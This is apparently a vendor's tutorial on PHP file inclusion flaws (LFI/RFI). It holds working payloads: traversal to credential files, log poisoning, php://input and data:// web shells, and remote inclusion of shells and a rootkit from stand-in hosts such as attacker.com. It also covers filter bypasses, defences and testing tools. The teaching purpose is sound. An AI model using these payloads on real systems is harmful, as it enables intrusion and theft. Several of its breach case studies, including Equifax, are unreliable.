#
File Inclusion (LFI/RFI): The Dynamic Loading Attack
CRITICAL SEVERITY RCE FILE ACCESS
File Inclusion vulnerabilities occur when applications dynamically include files based on user input without proper validation, allowing attackers to include malicious local or remote files that execute code on the server.
In One Sentence: Tricking a website into loading and running attacker-controlled files, either from the server itself (LFI) or from external sources (RFI).
Critical Vulnerability
Danger Level: CRITICAL - Can lead to complete server compromise and Remote Code Execution (RCE). File inclusion remains a top vulnerability in PHP applications and legacy systems.
#
What is File Inclusion?
#
In Simple Terms
Imagine a library where you can request books by number. You ask for "Book #42" and the librarian retrieves it. But what if you could request:
- "Book #../../admin-only-vault/secret-documents" (LFI - accessing restricted local files)
- "Book at http://attacker.com/malicious-book.pdf" (RFI - loading external files)
And the librarian blindly retrieves and reads them aloud to everyone!
In the digital world:
Web applications often use dynamic file inclusion to load different pages, templates, or modules based on user requests. If not properly secured, attackers can manipulate these requests to include files they shouldn't have access to.
#
Two Types
Including existing files on the server
- Reading configuration files, source code, system files
- Example: Including
/etc/passwdto see user accounts
Including files from external servers
- Loading attacker's malicious code directly
- Example: Including
http://attacker.com/shell.phpto gain remote shell
#
Real-World Analogy: The Smart Restaurant Menu
Scenario: A restaurant with a digital menu system.
Customer: "Show me page 3 of the menu"
System includes: /menus/page3.html
Display: Desserts menu ✓
Customer: "Show me ../../kitchen/secret-recipes.txt"
System includes: /menus/../../kitchen/secret-recipes.txt
Display: Secret recipes revealed! ✗
Customer: "Show me http://attacker.com/poison.html"
System includes: http://attacker.com/poison.html
Display: Attacker's malicious content with code that steals credit cards! ✗
The Problem
The menu system blindly includes whatever file path the customer specifies without checking if it's actually a menu file.
#
How File Inclusion Attacks Work
#
Local File Inclusion (LFI)
FILE DISCLOSURE
Vulnerable PHP Application:
<?php
// Vulnerable code - common in old PHP applications
$page = $_GET['page'];
include('/var/www/pages/' . $page);
?>
URL: http://website.com/index.php?page=about.php
Includes: /var/www/pages/about.php ✓
URL: http://website.com/index.php?page=../../../../etc/passwd
Includes: /var/www/pages/../../../../etc/passwd
Resolves to: /etc/passwd
Result: Displays system password file! ✗
What attackers can read:
/var/www/config.php
/var/www/.env
/etc/nginx/nginx.conf
/etc/apache2/apache2.conf
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/var/log/apache2/access.log
/var/log/nginx/access.log
/home/user/.ssh/id_rsa
/root/.ssh/id_rsa
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\boot.ini
#
Remote File Inclusion (RFI)
REMOTE CODE EXECUTION
Vulnerable PHP Configuration:
<?php
// Vulnerable code
$module = $_GET['module'];
include($module . '.php');
?>
URL: http://website.com/index.php?module=http://attacker.com/shell
Server executes:
include('http://attacker.com/shell.php');
Attacker's shell.php:
<?php system($_GET['cmd']); ?>
Result: Attacker can run any system command! ✗
Attack Flow:
Attacker hosts malicious file: http://evil.com/backdoor.php
Attacker sends: ?page=http://evil.com/backdoor.php
Victim server includes remote file
Backdoor.php executes on victim server
Attacker has remote code execution!
#
Types of File Inclusion Attacks
#
1. Basic LFI
PATH TRAVERSAL
Simple path traversal to access local files:
# Access system files
?page=../../../../etc/passwd
?file=../../../../../../etc/shadow
?include=../../../../var/www/config.php
# Access log files
?page=../../../../var/log/apache/access.log
#
2. LFI with Null Byte Injection
PHP < 5.3.4
Bypassing file extension checks:
// Vulnerable code forces .php extension
$file = $_GET['file'] . '.php';
include($file);
// Normal: file=about → includes about.php ✓
?file=../../../../etc/passwd%00
# Null byte (%00) terminates string
# Result: includes /etc/passwd (ignores .php) ✗
#
3. LFI to RCE via Log Poisoning
CODE EXECUTION
Injecting PHP code into log files, then including them:
# Send HTTP request with PHP code in User-Agent
curl http://victim.com -A "<?php system($_GET['cmd']); ?>"
# Access log now contains:
192.168.1.100 - - [date] "GET / HTTP/1.1" 200 - "<?php system($_GET['cmd']); ?>"
?page=../../../../var/log/apache2/access.log&cmd=whoami
Result: Log file included, PHP code executes, runs whoami command!
Other Poisonable Files:
/var/log/mail.log
# Inject via email subject or body
/var/log/auth.log
# Inject via SSH username: ssh '<?php phpinfo(); ?>'@victim.com
/var/lib/php/sessions/sess_[SESSION_ID]
# Inject via PHP session variables
#
4. LFI via PHP Wrappers
BYPASS TECHNIQUE
Using PHP's built-in wrappers to bypass restrictions:
Read source code without executing PHP:
?page=php://filter/convert.base64-encode/resource=config.php
# Server returns base64-encoded source code
# Decode to see database passwords and secrets!
RCE via POST body:
POST /index.php?page=php://input HTTP/1.1
Content-Type: application/x-www-form-urlencoded
<?php system('whoami'); ?>
# Server executes POSTed PHP code!
RCE via data URI:
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=whoami
# Base64 decodes to: <?php system($_GET[c]); ?>
# Executes: whoami
Direct command execution:
# If expect extension enabled
?page=expect://whoami
# Directly executes system command
#
5. Basic RFI
REMOTE INCLUSION
Including remote files directly:
?page=http://attacker.com/shell.php
?module=https://evil.com/backdoor.txt
?include=ftp://attacker.com/exploit.php
Attacker's shell.php:
<?php
// Simple web shell
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
Usage:
?page=http://attacker.com/shell.php&cmd=ls
?page=http://attacker.com/shell.php&cmd=cat /etc/passwd
?page=http://attacker.com/shell.php&cmd=wget http://attacker.com/rootkit.sh
#
6. RFI with Bypass Techniques
FILTER EVASION
Bypassing basic filters:
// Filter blocks http://
if (strpos($_GET['page'], 'http://') !== false) {
die('Blocked!');
}
// Bypass techniques:
?page=htTp://attacker.com/shell.php (case variation)
?page=http:\\\\attacker.com/shell.php (backslashes)
?page=//attacker.com/shell.php (protocol-relative URL)
?page=http://attacker.com/shell.txt (.txt extension - server executes anyway)
#
Real-World Examples
#
Example 1: WordPress Core LFI (CVE-2015-5622)
MILLIONS AFFECTED
:icon-wordpress: Attack: Local file inclusion in wp-admin
Impact:
- Millions of WordPress sites affected
- Configuration file disclosure
- Database credentials exposed
// Simplified vulnerable code
$file = $_GET['file'];
include(ABSPATH . '/wp-admin/' . $file);
/wp-admin/admin.php?file=../wp-config.php
Result: Displayed wp-config.php containing database credentials
#
Example 2: Drupal RFI (2008)
MASS COMPROMISE
Attack: Remote file inclusion in module system
Impact:
- Thousands of Drupal sites compromised
- Mass defacement campaigns
- Botnet recruitment
Attack:
/index.php?module=http://attacker.com/backdoor
#
Example 3: PHPMailer LFI (CVE-2017-5223)
WIDESPREAD
Attack: LFI leading to RCE
Impact:
- Used by millions of PHP applications
- Complete server compromise possible
#
Example 4: Apache Struts 2 RFI
EQUIFAX BREACH
Attack: Remote code execution via file inclusion
Impact:
- Equifax breach (143 million records)
- Multiple critical vulnerabilities over years
#
Prevention and Mitigation
#
1. Avoid Dynamic File Inclusion
BEST PRACTICE
The best defense: Don't use user input in file paths at all.
<?php
// VULNERABLE
$page = $_GET['page'];
include($page . '.php');
?>
<?php
// SECURE - Whitelist approach
$allowed_pages = [
'home' => 'home.php',
'about' => 'about.php',
'contact' => 'contact.php'
];
$page = $_GET['page'] ?? 'home';
if (!array_key_exists($page, $allowed_pages)) {
die('Invalid page');
}
include($allowed_pages[$page]);
?>
#
2. Input Validation (Whitelist)
RECOMMENDED
Only allow expected values:
<?php
// Whitelist of allowed files
$allowed_files = ['home', 'about', 'contact', 'products'];
$file = $_GET['file'] ?? 'home';
// Validate against whitelist
if (!in_array($file, $allowed_files, true)) {
http_response_code(400);
die('Invalid file');
}
// Safe to include
include(__DIR__ . '/pages/' . $file . '.php');
?>
# Python/Flask
from flask import Flask, request, abort, render_template
ALLOWED_TEMPLATES = {
'home': 'home.html',
'about': 'about.html',
'contact': 'contact.html'
}
@app.route('/page')
def load_page():
page = request.args.get('page', 'home')
if page not in ALLOWED_TEMPLATES:
abort(400, 'Invalid page')
return render_template(ALLOWED_TEMPLATES[page])
#
3. Path Sanitization
DEFENSE IN DEPTH
If you must use filenames, sanitize them rigorously:
<?php
function sanitize_filename($filename) {
// Remove null bytes
$filename = str_replace(chr(0), '', $filename);
// Remove path traversal sequences
$filename = str_replace(['../', '..\\'], '', $filename);
// Allow only alphanumeric, dash, underscore
$filename = preg_replace('/[^a-zA-Z0-9_-]/', '', $filename);
return $filename;
}
$file = sanitize_filename($_GET['file']);
// Verify file exists in allowed directory
$base_dir = '/var/www/pages/';
$full_path = realpath($base_dir . $file . '.php');
// Check if resolved path starts with base directory
if ($full_path === false || strpos($full_path, realpath($base_dir)) !== 0) {
die('Invalid file path');
}
// Check file exists
if (!file_exists($full_path)) {
die('File not found');
}
include($full_path);
?>
#
4. Disable Dangerous PHP Settings
CONFIGURATION
PHP configuration (php.ini):
# Disable remote file inclusion
allow_url_include = Off
allow_url_fopen = Off
# Disable dangerous functions
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Why This Helps
// With allow_url_include = Off
include('http://attacker.com/shell.php'); // Blocked! ✓
// With allow_url_fopen = Off
file_get_contents('http://attacker.com/data.txt'); // Blocked! ✓
#
5. Principle of Least Privilege
INFRASTRUCTURE
Limit file system permissions:
# Web server should not have read access to sensitive files
sudo chmod 600 /etc/shadow
sudo chmod 600 /var/www/config.php
sudo chmod 700 /root/.ssh/
# Web files should be owned by specific user, not root
sudo chown www-data:www-data /var/www/html -R
sudo chmod 644 /var/www/html/*.php
# Restrict web server file access
setsebool -P httpd_enable_homedirs off
setsebool -P httpd_read_user_content off
#
Testing for File Inclusion
#
Manual Testing
TESTING GUIDE
# Test various depths
curl "http://target.com/page?file=../../../../etc/passwd"
curl "http://target.com/page?file=../../../../../../etc/passwd"
# Common target files
?file=../../../../etc/passwd
?file=../../../../var/www/html/config.php
?file=../../../../var/log/apache2/access.log
# For older PHP versions
curl "http://target.com/page?file=../../../../etc/passwd%00"
curl "http://target.com/page?file=../../../../etc/passwd%00.jpg"
# Filter wrapper
curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php"
# Input wrapper
curl -X POST "http://target.com/page?file=php://input" \
-d "<?php system('whoami'); ?>"
# Data wrapper
curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="
# Test if allow_url_include is enabled
curl "http://target.com/page?file=http://attacker.com/test.txt"
# Protocol variations
curl "http://target.com/page?file=https://attacker.com/shell.php"
curl "http://target.com/page?file=ftp://attacker.com/backdoor.php"
#
Automated Tools
# LFI fuzzing
ffuf -w /path/to/lfi-payloads.txt \
-u "http://target.com/page?file=FUZZ" \
-fc 404
# Automated LFI testing
dotdotpwn -m http -h target.com -x 80 \
-f /etc/passwd -d 6 -t 200
# LFI exploitation framework
kadimus -u "http://target.com/page?file=" -A
# Options:
# -A: Auto-detection
# -C: Command execution
# -S: Shell access
#
Summary: What You Need to Remember
File Inclusion vulnerabilities allow attackers to include malicious files - either local files from the server (LFI) or remote files from attacker-controlled servers (RFI) - leading to information disclosure or remote code execution.
The Simple Version:
- What it is: Tricking the application into loading unauthorized files by manipulating file path parameters
- Why it's dangerous: Can read sensitive files, expose source code, or execute arbitrary code (RCE)
- How to prevent it: Use whitelists, never trust user input in file paths, disable remote inclusion
Real-World Impact:
- :icon-wordpress: WordPress: Millions affected by LFI vulnerabilities
- Equifax: RFI in Apache Struts led to 143M record breach
- PHPMailer: Widespread LFI affecting millions of sites
Key Distinction:
- LFI: Reading existing server files (configs, logs, source code)
- RFI: Loading attacker's remote files (backdoors, shells)
#
Quick Protection Checklist
For Website Owners & Developers:
DO Use whitelists - map user input to predefined safe file paths DO Validate and sanitize all file parameters DO Disable remote inclusion (allow_url_include = Off) DO Use realpath() validation to verify paths stay within allowed directories DO Remove path traversal sequences (../, .., null bytes) DO Apply least privilege - limit web server file system access DO Use framework functions that handle file inclusion securely
DON'T Use user input directly in include/require statements DON'T Trust user-supplied file paths without validation DON'T Allow remote file inclusion in production DON'T Concatenate user input with file paths DON'T Return detailed error messages that reveal file paths
For Security Testers:
TIP Test for path traversal with various depths (../, ../../, etc.) TIP Try PHP wrappers (php://filter, php://input, data://) TIP Attempt null byte injection on older systems TIP Test log poisoning for LFI to RCE escalation TIP Check if allow_url_include is enabled for RFI
#
Additional Resources
- OWASP File Inclusion
- CWE-98: Improper Control of Filename
- Kadimus - LFI/RFI Framework
- PHP Security Guide
Learn More
Layerd AI Guardian Proxy prevents file inclusion attacks by detecting path traversal patterns, blocking PHP wrappers, and preventing remote file loading attempts. Learn more →
Last updated: November 2025